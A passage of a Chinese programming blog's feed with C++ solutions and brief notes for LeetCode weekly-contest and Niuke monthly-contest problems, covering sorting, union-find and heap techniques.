{</span><br><span class="line"> <span class="comment">// all k</span></span><br><span class="line"> <span class="keyword">if</span> (c1 + k < c1 - k) {</span><br><span class="line"> cc = c1 + k;</span><br><span class="line"> dis = k;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> cc = c1 - k;</span><br><span class="line"> dis = k;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">make_pair</span>(dis, cc);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">string <span class="title">getSmallestString</span><span class="params">(string s, <span class="type">int</span> k)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> &it: s) {</span><br><span class="line"> <span class="comment">// using min cost to</span></span><br><span class="line"> <span class="keyword">auto</span> [kk, cc] = <span class="built_in">c</span>(it, k);</span><br><span class="line"> k -= kk;</span><br><span class="line"> it = cc;</span><br><span class="line"> <span class="keyword">if</span> (k == <span class="number">0</span>) { <span class="keyword">break</span>; }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> s;</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> Solution s;</span><br><span class="line"><span class="comment">// cout << s.getSmallestString("zbbz", 3) << endl;</span></span><br><span class="line"><span class="comment">// cout << s.getSmallestString("xaxcd", 4) << endl;</span></span><br><span class="line"><span class="comment">// cout << s.getSmallestString("lol", 0) << endl;</span></span><br><span class="line"> <span class="comment">//"rn"</span></span><br><span class="line"> <span class="comment">//9</span></span><br><span class="line"> <span class="comment">// r s t u v w x y z a</span></span><br><span class="line"> cout << s.<span class="built_in">getSmallestString</span>(<span class="string">"rn"</span>, <span class="number">9</span>) << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="3107-使数组中位数等于-k-的最少操作数"><a class="markdownIt-Anchor" href="#3107-使数组中位数等于-k-的最少操作数"></a> 3107. 使数组中位数等于 K 的最少操作数</h2><p>排序,分类讨论,都是把前面或者后面堆成 k,这样中位数就是 k<br>十分眼熟的题目</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Solution</span> {</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="type">long</span> <span class="type">long</span> <span class="title">minOperationsToMakeMedianK</span><span class="params">(vector<<span class="type">int</span>> &nums, <span class="type">int</span> k)</span> </span>{</span><br><span class="line"> <span class="built_in">sort</span>(nums.<span class="built_in">begin</span>(), nums.<span class="built_in">end</span>());</span><br><span class="line"> <span class="type">int</span> mid = nums.<span class="built_in">size</span>() / <span class="number">2</span>;</span><br><span class="line"> <span class="type">long</span> <span class="type">long</span> ans = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (k == nums[mid]) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (k > nums[mid]) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = mid; i < nums.<span class="built_in">size</span>(); ++i) {</span><br><span class="line"> <span class="keyword">if</span> (nums[i] < k) {</span><br><span class="line"> ans += k - nums[i];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = mid; i >= <span class="number">0</span>; --i) {</span><br><span class="line"> <span class="keyword">if</span> (nums[i] > k) {</span><br><span class="line"> ans += nums[i] - k;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> ans;</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> Solution s;</span><br><span class="line"> vector<<span class="type">int</span>> nums{<span class="number">2</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">8</span>, <span class="number">5</span>};</span><br><span class="line"> cout << s.<span class="built_in">minOperationsToMakeMedianK</span>(nums, <span class="number">4</span>) << endl;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="100244-带权图里旅途的最小代价"><a class="markdownIt-Anchor" href="#100244-带权图里旅途的最小代价"></a> 100244. 带权图里旅途的最小代价</h2><p>并查集<br>因为任何一个集合的与和一定是最小值,所以可以维护一个集合的最小值</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UnionFind</span> {</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> vector<<span class="type">int</span>> fa;</span><br><span class="line"> vector<<span class="type">int</span>> faMin;</span><br><span class="line"> vector<<span class="type">int</span>> faAnd;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">UnionFind</span>(<span class="type">int</span> n) : <span class="built_in">fa</span>(n), <span class="built_in">faMin</span>(n, INT_MAX), <span class="built_in">faAnd</span>(n, INT_MAX) {</span><br><span class="line"> <span class="built_in">iota</span>(fa.<span class="built_in">begin</span>(), fa.<span class="built_in">end</span>(), <span class="number">0</span>); <span class="comment">// Fill fa with 0 to n-1</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="type">int</span> <span class="title">find</span><span class="params">(<span class="type">int</span> x)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (fa[x] != x) {</span><br><span class="line"> fa[x] = <span class="built_in">find</span>(fa[x]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> fa[x];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">merge</span><span class="params">(<span class="type">int</span> from, <span class="type">int</span> to, <span class="type">int</span> val)</span> </span>{</span><br><span class="line"> <span class="type">int</span> x = <span class="built_in">find</span>(from), y = <span class="built_in">find</span>(to);</span><br><span class="line"> <span class="keyword">if</span> (x == y) {</span><br><span class="line"> faAnd[x] &= val;</span><br><span class="line"> faMin[x] = <span class="built_in">min</span>(faMin[x], val);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> fa[x] = y;</span><br><span class="line"> faAnd[y] = faAnd[x] & faAnd[y] & val;</span><br><span class="line"> faMin[y] = <span class="built_in">min</span>({faMin[x], faMin[y], val});</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="type">bool</span> <span class="title">same</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> y)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">find</span>(x) == <span class="built_in">find</span>(y);</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Solution</span> {</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function">vector<<span class="type">int</span>> <span class="title">minimumCost</span><span class="params">(<span class="type">int</span> n, vector<vector<<span class="type">int</span>>>& edges, vector<vector<<span class="type">int</span>>>& queries)</span> </span>{</span><br><span class="line"> <span class="function">UnionFind <span class="title">uf</span><span class="params">(n)</span></span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span>& e : edges) {</span><br><span class="line"> uf.<span class="built_in">merge</span>(e[<span class="number">0</span>], e[<span class="number">1</span>], e[<span class="number">2</span>]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">vector<<span class="type">int</span>> <span class="title">ans</span><span class="params">(queries.size())</span></span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i < queries.<span class="built_in">size</span>(); ++i) {</span><br><span class="line"> <span class="type">int</span> x = queries[i][<span class="number">0</span>], y = queries[i][<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (x == y) {</span><br><span class="line"> ans[i] = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!uf.<span class="built_in">same</span>(x, y)) {</span><br><span class="line"> ans[i] = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="type">int</span> f = uf.<span class="built_in">find</span>(x);</span><br><span class="line"> ans[i] = <span class="built_in">min</span>(uf.faMin[f], uf.faAnd[f]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> ans;</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> Solution s;</span><br><span class="line"> vector<vector<<span class="type">int</span>>> edges{{<span class="number">0</span>, <span class="number">1</span>, <span class="number">7</span>},</span><br><span class="line"> {<span class="number">1</span>, <span class="number">3</span>, <span class="number">7</span>},</span><br><span class="line"> {<span class="number">1</span>, <span class="number">2</span>, <span class="number">1</span>}};</span><br><span class="line"> vector<vector<<span class="type">int</span>>> query{{<span class="number">0</span>, <span class="number">3</span>},</span><br><span class="line"> {<span class="number">3</span>, <span class="number">4</span>}};</span><br><span class="line"> vector<<span class="type">int</span>> ans = s.<span class="built_in">minimumCost</span>(<span class="number">5</span>, edges, query);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it: ans) {</span><br><span class="line"> cout << it << <span class="string">' '</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>有生之年第一场 LeetCode周赛,<code>y神</code> 就带我 AK 了,何其荣幸!<br>
泪目…</p></summary>
<category term="LeetCode" scheme="https://blog.lancelot.top/tags/LeetCode/"/>
</entry>
<entry>
<title>牛客小白月赛90补题</title>
<link href="https://blog.lancelot.top/2024/04/%E7%89%9B%E5%AE%A2%E5%B0%8F%E7%99%BD%E6%9C%88%E8%B5%9B90%E8%A1%A5%E9%A2%98/"/>
<id>https://blog.lancelot.top/2024/04/%E7%89%9B%E5%AE%A2%E5%B0%8F%E7%99%BD%E6%9C%88%E8%B5%9B90%E8%A1%A5%E9%A2%98/</id>
<published>2024-04-05T13:21:00.000Z</published>
<updated>2024-04-07T04:08:51.013Z</updated>
<content type="html"><![CDATA[<p>过 4 题排名 441,比上次月赛难度低,题目对小白非常友好。给出题人点赞,先就补一下 E 题。</p><span id="more"></span><h2 id="a"><a class="markdownIt-Anchor" href="#a"></a> A</h2><p>签到</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">1e5</span> + <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> n, m;</span><br><span class="line"> cin >> n >> m;</span><br><span class="line"> <span class="type">int</span> a[N], b[N];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < n; i++) {</span><br><span class="line"> cin >> a[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="type">int</span> ans = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < m; i++) {</span><br><span class="line"> cin >> b[i];</span><br><span class="line"> ans += a[b[i] - <span class="number">1</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> cout << ans << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="b"><a class="markdownIt-Anchor" href="#b"></a> B</h2><p>每局游戏的结果可能有胜平负三种,游戏的胜者得到 3分,败者不得分,若打平则双方都得 1分。<br>判断得分是否是对的<br>思路:abs(a-b) % 3</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">1e5</span> + <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> t, x, y;</span><br><span class="line"> ll ans = <span class="number">0</span>;</span><br><span class="line"> cin >> t;</span><br><span class="line"> <span class="keyword">while</span> (t--) {</span><br><span class="line"> cin >> x >> y;</span><br><span class="line"> <span class="type">int</span> l = <span class="built_in">abs</span>(x - y);</span><br><span class="line"> <span class="keyword">if</span> (l % <span class="number">3</span> == <span class="number">0</span>) {</span><br><span class="line"> cout << <span class="string">"Yes"</span> << endl;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> cout << <span class="string">"No"</span> << endl;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="c"><a class="markdownIt-Anchor" href="#c"></a> C</h2><p>请你帮她找出从低位对齐后<strong>任意一位</strong>均与 n 对应数位不同的最小正整数</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span> </span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std; </span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll; </span><br><span class="line"> </span><br><span class="line"><span class="function">vector<<span class="type">int</span>> <span class="title">getNums</span><span class="params">(<span class="type">int</span> x)</span> </span>{ </span><br><span class="line"> vector<<span class="type">int</span>> ret; </span><br><span class="line"> <span class="keyword">while</span> (x > <span class="number">0</span>) { </span><br><span class="line"> ret.<span class="built_in">push_back</span>(x % <span class="number">10</span>); </span><br><span class="line"> x /= <span class="number">10</span>; </span><br><span class="line"> } <span class="keyword">return</span> ret; </span><br><span class="line">} </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">solve</span><span class="params">(<span class="type">int</span> n)</span> </span>{ </span><br><span class="line"> ll ans = <span class="number">0</span>; </span><br><span class="line"> vector<<span class="type">int</span>> v, an; </span><br><span class="line"> v = <span class="built_in">getNums</span>(n); </span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j: v) { </span><br><span class="line"> <span class="keyword">if</span> (j == <span class="number">0</span>) { </span><br><span class="line"> an.<span class="built_in">push_back</span>(<span class="number">1</span>); </span><br><span class="line"> } <span class="keyword">else</span> { </span><br><span class="line"> an.<span class="built_in">push_back</span>(<span class="number">0</span>); </span><br><span class="line"> } } <span class="comment">// remove tail 0 </span></span><br><span class="line"> <span class="keyword">while</span> (!an.<span class="built_in">empty</span>() && an[an.<span class="built_in">size</span>() - <span class="number">1</span>] == <span class="number">0</span>) { </span><br><span class="line"> an.<span class="built_in">pop_back</span>(); </span><br><span class="line"> } <span class="comment">// calc from an </span></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = an.<span class="built_in">size</span>() - <span class="number">1</span>; j >= <span class="number">0</span>; j--) { </span><br><span class="line"> ans *= <span class="number">10</span>; </span><br><span class="line"> ans += an[j]; </span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">if</span> (ans == <span class="number">0</span>) { </span><br><span class="line"> <span class="keyword">if</span> (v[<span class="number">0</span>] == <span class="number">1</span>) { </span><br><span class="line"> ans = <span class="number">2</span>; </span><br><span class="line"> } <span class="keyword">else</span> { </span><br><span class="line"> ans = <span class="number">1</span>; </span><br><span class="line"> } } cout << ans << endl; </span><br><span class="line">} </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{ </span><br><span class="line"> ll n, t; </span><br><span class="line"> cin >> t; </span><br><span class="line"> <span class="keyword">while</span> (t--) { </span><br><span class="line"> cin >> n; </span><br><span class="line"> <span class="built_in">solve</span>(n); </span><br><span class="line"> }}</span><br></pre></td></tr></table></figure><h2 id="d"><a class="markdownIt-Anchor" href="#d"></a> D</h2><p>暴力枚举就行</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span> </span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std; </span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll; </span><br><span class="line"><span class="type">const</span> <span class="type">int</span> MOD = <span class="number">998244353</span>; </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">isValid</span><span class="params">(<span class="type">const</span> vector<pair<<span class="type">int</span>, <span class="type">int</span>>> &s, <span class="type">int</span> c, <span class="type">int</span> n)</span> </span>{ </span><br><span class="line"> <span class="function">vector<<span class="type">int</span>> <span class="title">cov</span><span class="params">(n + <span class="number">1</span>, <span class="number">0</span>)</span></span>; </span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < s.<span class="built_in">size</span>(); i++) { </span><br><span class="line"> <span class="comment">// 检查第i个线段是否被选中 </span></span><br><span class="line"> <span class="comment">// 选中的线段,将覆盖的点的覆盖次数加1 </span></span><br><span class="line"> <span class="keyword">if</span> (c & (<span class="number">1</span> << i)) { </span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = s[i].first; j <= s[i].second; j++) { </span><br><span class="line"> cov[j]++; </span><br><span class="line"> } } } <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++) { </span><br><span class="line"> <span class="keyword">if</span> (cov[i] < <span class="number">2</span>) <span class="keyword">return</span> <span class="literal">false</span>; </span><br><span class="line"> } <span class="keyword">return</span> <span class="literal">true</span>; </span><br><span class="line">} </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{ </span><br><span class="line"> ll n, m, ans = <span class="number">0</span>; </span><br><span class="line"> cin >> n >> m; </span><br><span class="line"> vector<pair<<span class="type">int</span>, <span class="type">int</span>>> <span class="built_in">s</span>(m); </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < m; i++) { </span><br><span class="line"> cin >> s[i].first >> s[i].second; </span><br><span class="line"> } <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < (<span class="number">1</span> << m); i++) { </span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">isValid</span>(s, i, n)) { </span><br><span class="line"> ans++; </span><br><span class="line"> ans %= MOD; </span><br><span class="line"> } } cout << ans << endl; </span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; </span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="e-补题"><a class="markdownIt-Anchor" href="#e-补题"></a> E 补题</h2><p><a href="https://codeforces.com/contest/1945/problem/F">Codeforces</a></p><p>巧妙的思路,因为 A 的 cost 是单调递增的,只需要去找后面更小的 B 就行了<br>用一个大根堆来维护最大值,先取前 K 个,然后在剩余的里面遍历,加入一个 b[i] 剩余就将堆里的一个最大值 pop,保证当前一定是 0-i 最优</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span> </span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std; </span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll; </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{ </span><br><span class="line"> ll n, q; </span><br><span class="line"> cin >> n >> q; </span><br><span class="line"> <span class="function">vector<ll> <span class="title">a</span><span class="params">(n)</span>, <span class="title">b</span><span class="params">(n)</span>, <span class="title">preA</span><span class="params">(n + <span class="number">1</span>, <span class="number">0</span>)</span></span>; </span><br><span class="line"> <span class="keyword">for</span> (ll i = <span class="number">0</span>; i < n; ++i) { </span><br><span class="line"> cin >> a[i]; </span><br><span class="line"> preA[i + <span class="number">1</span>] = preA[i] + a[i]; </span><br><span class="line"> } <span class="keyword">for</span> (ll i = <span class="number">0</span>; i < n; ++i) { </span><br><span class="line"> cin >> b[i]; </span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">while</span> (q--) { </span><br><span class="line"> <span class="type">int</span> k; </span><br><span class="line"> cin >> k; </span><br><span class="line"> <span class="comment">// 1. get the sum of the first k A tasks </span></span><br><span class="line"> ll sum = preA[k] - preA[<span class="number">0</span>], now = <span class="number">0</span>; </span><br><span class="line"> <span class="comment">// pq is a max heap </span></span><br><span class="line"> priority_queue<<span class="type">int</span>> pq; </span><br><span class="line"> <span class="comment">// 2. pq push the first k B tasks </span></span><br><span class="line"> <span class="comment">// now is the sum of the first k B tasks for (int i = 0; i < k; i++) { </span></span><br><span class="line"> pq.<span class="built_in">push</span>(b[i]); </span><br><span class="line"> now += b[i]; </span><br><span class="line"> } ll ans = now + sum; </span><br><span class="line"> <span class="comment">// add [k, n) B tasks </span></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = k; i < n; i++) { </span><br><span class="line"> sum += a[i]; </span><br><span class="line"> pq.<span class="built_in">push</span>(b[i]); </span><br><span class="line"> now += b[i]; </span><br><span class="line"> now -= pq.<span class="built_in">top</span>(); </span><br><span class="line"> pq.<span class="built_in">pop</span>(); </span><br><span class="line"> ans = <span class="built_in">min</span>(ans, now + sum); </span><br><span class="line"> } cout << ans << endl; </span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; </span><br><span 